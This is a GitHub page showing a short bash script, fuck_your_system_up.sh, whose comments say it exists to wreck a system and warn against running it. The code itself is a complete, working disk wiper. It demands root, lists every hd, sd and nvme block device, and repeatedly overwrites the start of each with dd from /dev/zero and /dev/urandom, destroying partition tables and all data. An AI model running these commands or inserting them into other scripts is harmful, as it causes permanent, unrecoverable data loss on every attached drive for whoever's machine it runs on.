forked from linux4ever07/scripts
-
Notifications
You must be signed in to change notification settings - Fork 0
/
fuck_your_system_up.sh
54 lines (40 loc) · 1.21 KB
/
fuck_your_system_up.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/bin/bash
# This script is meant to utterly fuck your system up by erasing the
# partition table of every connected storage device. This will
# permanently delete all your files on every device. Do NOT run this!
# If the script isn't run with sudo / root privileges, quit.
if [[ $(whoami) != 'root' ]]; then
printf '\n%s\n\n' 'You need to be root to run this script!'
exit
fi
regex_hd='^/dev/hd[[:alpha:]]+$'
regex_sd='^/dev/sd[[:alpha:]]+$'
regex_nvme='^/dev/nvme[0-9]+n[0-9]+$'
regexes=("$regex_hd" "$regex_sd" "$regex_nvme")
sources=('/dev/zero' '/dev/urandom')
declare -a devices
erase_devices () {
for (( i = 0; i < ${#devices[@]}; i++ )); do
device="${devices[${i}]}"
printf '%s ' "$device"
for n in {1..5}; do
printf '...%s' "$n"
for source in "${sources[@]}"; do
dd if="$source" of="$device" bs=1M count=100 1>&- 2>&-
done
done
printf '\n'
done
}
mapfile -t devices_tmp < <(find /dev -maxdepth 1 -type b \( -iname "hd*" -o -iname "sd*" -o -iname "nvme*" \) 2>&- | sort -r)
for (( i = 0; i < ${#devices_tmp[@]}; i++ )); do
device="${devices_tmp[${i}]}"
for regex in "${regexes[@]}"; do
if [[ $device =~ $regex ]]; then
devices+=("$device")
break
fi
done
done
erase_devices
sync